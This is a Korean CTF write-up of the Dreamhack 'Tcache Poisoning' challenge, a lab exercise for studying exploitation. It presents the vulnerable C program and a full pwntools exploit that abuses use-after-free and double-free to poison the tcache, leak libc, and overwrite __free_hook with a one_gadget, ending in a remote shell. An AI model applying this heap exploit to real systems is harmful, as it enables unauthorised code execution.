[Dreamhack] Tcache Poisoning Write up

[Dreamhack] Tcache Poisoning Write up

·

4 min read

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    void *chunk = NULL;
    unsigned int size;
    int idx;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    while (1) {
        printf("1. Allocate\n");
        printf("2. Free\n");
        printf("3. Print\n");
        printf("4. Edit\n");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                printf("Size: ");
                scanf("%d", &size);
                chunk = malloc(size);
                printf("Content: ");
                read(0, chunk, size - 1);
                break;
            case 2:
                free(chunk);
                break;
            case 3:
                printf("Content: %s", chunk);
                break;
            case 4:
                printf("Edit chunk: ");
                read(0, chunk, size - 1);
                break;
            default:
                break;
        }
    }

    return 0;
}

코드를 요약해보겠습니다.

  • main 함수의 4개의 기능

    1. 입력받은 크기로 청크를 할당 받은 후 chunk 변수에 해당 주소 저장. read 함수로 데이터 입력

    2. chunk 변수의 값을 주소로 free

    3. chunk 변수의 값을 포인터로 저장된 데이터 출력

    4. chunk 변수의 값을 포인터로 저장된 데이터 변경

위 코드에서 찾을 수 있는 취약점은 free를 한 이후에 해당 청크를 초기화 하지 않기 때문에 UAF 취약점 및 free가 된 청크인지 인증하는 부분이 없기 때문에 DFB 취약점도 발생합니다.

Exploit

먼저 stdout leak 부터 해보겠습니다

from pwn import *

#p = process('./tcache_poison')
p = remote('host3.dreamhack.games', 13850)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size,data):
    p.sendlineafter(b'Edit\n',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def free():
    p.sendlineafter(b'Edit\n',b'2')

def edit(data):
    p.sendlineafter(b'Edit\n',b'4')
    p.sendlineafter(b': ',data)

def prin():
    p.sendlineafter(b'Edit\n',b'3')

#make heap
alloc(b'16', b'a')
free()

#overwrite bk for double free
edit(b'aaaaaaaaa') # overwrite bk for tcache double free
free() # free 되면서 청크 fd, bk가 세팅됨

#overwrite fd for insert stdout address to tcache
leak = p64(e.symbols['stdout']) # fd를 stdout 으로 설정해서 print하면 stdout 실주소가 출력됨
edit(leak)

#tcache poisoning
alloc(b'16', b'a')

#alloc to stdout address
alloc(b'16', b'\x60') #stdout의 마지막 1byte는 \x60

prin()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recv(6) + b'\x00\x00')
print('stdout_add =', hex(stdout_add))
❯ py ex.py
[+] Opening connection to host3.dreamhack.games on port 13850: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/mnt/c/Users/usung/Documents/ctf/Dreamhack/Tcache_Poisoning/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/mnt/c/Users/usung/Documents/ctf/Dreamhack/Tcache_Poisoning/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
stdout_add = 0x7f95e171d760

주의할 점

  • alloc 시 \n 문자가 없어야 값 삽입이 가능

  • 마지막 alloc시 \x60 을 삽입 해야함

이제 free_hook 주소에 onegadget 주소를 입력해 free 함수를 실행하면 될 것 같습니다.

onegadget 주소는 아래와 같습니다

❯ one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

이제 pwntools를 사용해서 각 주소를 구한 다음 작성한 최종 익스플로잇 코드는 아래와 같습니다.

from pwn import *

#p = process('./tcache_poison')
p = remote('host3.dreamhack.games', 13850)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size,data):
    p.sendlineafter(b'Edit\n',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def free():
    p.sendlineafter(b'Edit\n',b'2')

def edit(data):
    p.sendlineafter(b'Edit\n',b'4')
    p.sendlineafter(b': ',data)

def prin():
    p.sendlineafter(b'Edit\n',b'3')

#make heap
alloc(b'16', b'a')
free()

#overwrite bk for double free
edit(b'aaaaaaaaa')
free() # free 되면서 청크 fd, bk가 세팅됨

#overwrite fd for insert stdout address to tcache
leak = p64(e.symbols['stdout']) # fd를 stdout 으로 설정해서 print하면 실제 주소가 출력됨
edit(leak)

#tcache poisoning
alloc(b'16', b'a')

#alloc to stdout address
alloc(b'16', b'\x60') #stdout의 마지막 1byte는 \x60

prin()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recv(6) + b'\x00\x00')
print('stdout_add =', hex(stdout_add))

libc_base = stdout_add - libc.symbols['_IO_2_1_stdout_']
free_hook_add = libc_base + libc.symbols['__free_hook']

og_list = [0x10a41c, 0x4f432, 0x4f3d5]
onegadget = libc_base + og_list[1]

print('libc_base =', hex(libc_base))
print('free hook =', hex(free_hook_add))
print('one_gadget =', hex(onegadget))

alloc(b'32', b'a')
free()
edit(b'aaaaaaaaa')
free()

leak = p64(free_hook_add)
edit(leak)

alloc(b'32', b'a')

alloc(b'32', p64(onegadget))

free()

p.interactive()

주의할 점

  • 두번째 double free 할 때는 사이즈를 이전과 같이 16을 요청하면 stdout 을 할당해주기 때문에 더 크게 해줘야 합니다.
❯ py ex.py
[+] Opening connection to host3.dreamhack.games on port 13850: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/mnt/c/Users/usung/Documents/ctf/Dreamhack/Tcache_Poisoning/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/mnt/c/Users/usung/Documents/ctf/Dreamhack/Tcache_Poisoning/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
stdout_add = 0x7f44f245a760
libc_base = 0x7f44f206e000
free hook = 0x7f44f245b8e8
one_gadget = 0x7f44f20bd432
[*] Switching to interactive mode
$ id
uid=1000(tcache_poison) gid=1000(tcache_poison) groups=1000(tcache_poison)
$ cat flag
DH{-------------------------------------------}